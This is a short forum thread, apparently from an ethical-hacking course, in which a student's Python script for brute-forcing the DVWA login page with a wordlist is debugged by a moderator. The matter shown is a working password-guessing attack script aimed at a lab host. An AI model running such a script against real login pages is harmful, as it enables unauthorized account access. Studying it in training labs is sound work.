Viewing 7 posts - 1 through 7 (of 7 total)
  • Author
    Posts
  • #40828
    Hassan Aswad
    Participant

    Hello,
    i have a problem with the GUEST LOGIN program. when i give it the wordlist to guess the password. the program doesn’t show me the real password, its show me the first guess on the wordlist. I tryed the programe on the same website as showing in the course. thank you

    #40886
    Diego PérezDiego Pérez
    Moderator

    Hi!
    Can you share your code please?

    Remember to use the “code” button so I can read your code with the proper identation.

    Thanks!
    Diego

    #40887
    Hassan Aswad
    Participant

    `#!/usr/bin/env python
    import requests

    target_url = “http://10.0.2.5/dvwa/login.php”
    data_dict = {“username”: “admin”, “password”: “”, “Login”: “submit”}

    with open(“/root/Downloads/testlist.txt”, “r”) as wordlist_file:
    for line in wordlist_file:
    word = line.strip()
    data_dict[“password”] = word
    response = requests.post(target_url, data=data_dict)
    if “login failed” not in response.content:
    print(“[+] Got the password –> ” + word)
    exit()

    print(“[-] Try again!”)

    #40891
    Hassan Aswad
    Participant

    #!/usr/bin/env python
    import requests

    target_url = “http://10.0.2.5/dvwa/login.php”
    data_dict = {“username”: “admin”, “password”: “”, “Login”: “submit”}

    with open(“/root/Downloads/testlist.txt”, “r”) as wordlist_file:
    for line in wordlist_file:
    `word = line.strip()
    `data_dict[“password”] = word
    `response = requests.post(target_url, data=data_dict)
    `if “login failed” not in response.content:
    print(“[+] Got the password –> ” + word)
    exit()

    print(“[-] Try again!”)

    #40960
    Diego PérezDiego Pérez
    Moderator

    Hi!
    In this code line:
    if “login failed” not in response.content:

    You have to write “Login Failed” with the proper capital letters.

    Let me know how it goes!
    Diego

    #41016
    Hassan Aswad
    Participant

    Yes problem solved Thank you

    #41047
    Diego PérezDiego Pérez
    Moderator

    Hi!
    Cool you got it!
    Diego

Viewing 7 posts - 1 through 7 (of 7 total)
  • You must be logged in to reply to this topic.